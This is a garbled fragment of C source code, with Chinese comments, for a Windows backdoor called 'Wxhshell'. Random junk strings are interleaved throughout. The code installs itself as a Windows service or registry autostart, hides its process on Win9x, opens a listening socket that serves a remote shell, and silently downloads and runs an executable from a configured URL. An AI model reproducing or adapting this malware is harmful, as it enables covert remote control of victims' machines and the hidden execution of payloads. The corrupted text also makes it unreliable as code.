` {)F-US hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S%Ja:0=}? if(!hProcess) return 0; 5X~ko> ~|!q>z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sU{+.k{ FeCQGT CloseHandle(hProcess); BRH:5h vtr:{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vqL{~tR if(hProcess==NULL) return 0; sW=@G'}3 nPv2: x HMODULE hMod; '^P
Ud` char procName[255]; w*bVBuXs unsigned long cbNeeded; 0<i~XN0g o AQ92~b if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =OjzBiHR /=Xen
mmS CloseHandle(hProcess); +mxs jcq0 6W#+U< if(strstr(procName,"services")) return 1; // 以服务启动 Ro%S_! +>I4@1qC-| return 0; // 注册表启动 rJNf&x%6 } GWP"i77y0s kZn!]TseN // 主模块 (EohxLl !p int StartWxhshell(LPSTR lpCmdLine) vTB*J,6. { q
F}5mUcZ4 SOCKET wsl; H ) (K BOOL val=TRUE; pX*mX] int port=0; d2(eX\56Z struct sockaddr_in door; )bcMKZ kXG+zsT if(wscfg.ws_autoins) Install(); ^,`Lt * OU{PVF={
port=atoi(lpCmdLine); 9jvg[H Xi0/Wb h\ if(port<=0) port=wscfg.ws_port; XK&#K? M >EMCG.** WSADATA data; Ye )(9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mexI} h]'fX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v4Nb/Y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U&B~GJT+ door.sin_family = AF_INET; TyK;
q{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6J=~ *& door.sin_port = htons(port); fA+M/}= A 4&e# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z?7s'2w&{ closesocket(wsl); c%B=TAs5c return 1; WMI/Y9N } xr6Q5/p1 ^_<pc|1 if(listen(wsl,2) == INVALID_SOCKET) { IA+>dr
closesocket(wsl); E!Ng=}G&_ return 1; 6 a$% } tB1Qr** Wxhshell(wsl); _IY)<'d WSACleanup(); tKJ)'v? Gn_v}31d% return 0; -''vxt?7H& &0ULj6jj } !p9BH6$` s"Kp+tTWj // 以NT服务方式启动 ow`\7qr VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _l/6Qpf { a%-Yl%# DWORD status = 0; )}6:Ke) DWORD specificError = 0xfffffff; :A
1,3g `rs1!ZJ, serviceStatus.dwServiceType = SERVICE_WIN32; tPp}/a%D serviceStatus.dwCurrentState = SERVICE_START_PENDING; +osY
iP5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >#8`Zy:/Y serviceStatus.dwWin32ExitCode = 0; 1 9)78kV{ serviceStatus.dwServiceSpecificExitCode = 0; Q!|71{5U serviceStatus.dwCheckPoint = 0; /
Sp+MB9 serviceStatus.dwWaitHint = 0; S"_vD<q r+Z+x{ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 95(VY)_6#A if (hServiceStatusHandle==0) return; S)[2\Z{**T Xt~/8)& status = GetLastError(); S[ 2`7'XV if (status!=NO_ERROR) :m+:%keK { W``e6RX- serviceStatus.dwCurrentState = SERVICE_STOPPED; ")o.x7~N serviceStatus.dwCheckPoint = 0; Z1OcGRN! serviceStatus.dwWaitHint = 0; gr-%9=Uq serviceStatus.dwWin32ExitCode = status; |]B]0J#_ serviceStatus.dwServiceSpecificExitCode = specificError; $~9U-B\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); (
NiuAy return; U O[p } m<076O4|` hA~}6Qn serviceStatus.dwCurrentState = SERVICE_RUNNING; .t}nznh serviceStatus.dwCheckPoint = 0; .^v7LF]Q serviceStatus.dwWaitHint = 0; }M9'N%PU if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =+"XV8Fi, } ](0A/,#q6 S@*@*>s^ // 处理NT服务事件,比如:启动、停止 g6*}&.& VOID WINAPI NTServiceHandler(DWORD fdwControl) hpw;w}m { Gge"`AT switch(fdwControl) Uz62!) { /_56H?w\ case SERVICE_CONTROL_STOP: +nqOP3 serviceStatus.dwWin32ExitCode = 0; 2
na8G serviceStatus.dwCurrentState = SERVICE_STOPPED; H?B.Hp| serviceStatus.dwCheckPoint = 0; ',CcL N serviceStatus.dwWaitHint = 0; AM }OLHj { rFmE6{4:p SetServiceStatus(hServiceStatusHandle, &serviceStatus); ph|3M<q6 } )
.]Z}g& return; 4mPg; n case SERVICE_CONTROL_PAUSE: 3yZ@i<rfH serviceStatus.dwCurrentState = SERVICE_PAUSED; 1`)R#$h break; * dNMnZ@Y case SERVICE_CONTROL_CONTINUE: ,Y&kW'2 serviceStatus.dwCurrentState = SERVICE_RUNNING; oF3#]6`;/ break; 0u0Hl% nl case SERVICE_CONTROL_INTERROGATE: 2s(K4~e e break; !-7(.i - }; {uhw ^)v SetServiceStatus(hServiceStatusHandle, &serviceStatus); "w7:{E5e } =!{dKz-& -'I)2/%g // 标准应用程序主函数 "oTwMU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J5l:_hZUV { jwE<}y
I EM([N*8o
// 获取操作系统版本 gReaFnm OsIsNt=GetOsVer(); &2c?g1% GetModuleFileName(NULL,ExeFile,MAX_PATH); RZz] .Nx C( r?1ma // 从命令行安装 2Hq!YsJ4] if(strpbrk(lpCmdLine,"iI")) Install(); c(eu[vj: ricDP 9#a // 下载执行文件 VX- f~ if(wscfg.ws_downexe) { 0_Y;r{3m" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _mn4z+ WinExec(wscfg.ws_filenam,SW_HIDE); jUfc&bi3 } _x>u"w ciXAyT cG if(!OsIsNt) { HAU8H'h // 如果时win9x,隐藏进程并且设置为注册表启动 lc'Jn$O@ HideProc(); .jRXHrK; StartWxhshell(lpCmdLine); 'Y-c*q } )qxL@w. else c8u&ev.U if(StartFromService()) jy1*E3vQ // 以服务方式启动 DLz~$TF^ StartServiceCtrlDispatcher(DispatchTable); w.V8-9{ else 8
{QvB"w // 普通方式启动 =6%0pu]0 StartWxhshell(lpCmdLine); Eu0_/{: 8d>OtDLa return 0; 3|~(9b{+ }
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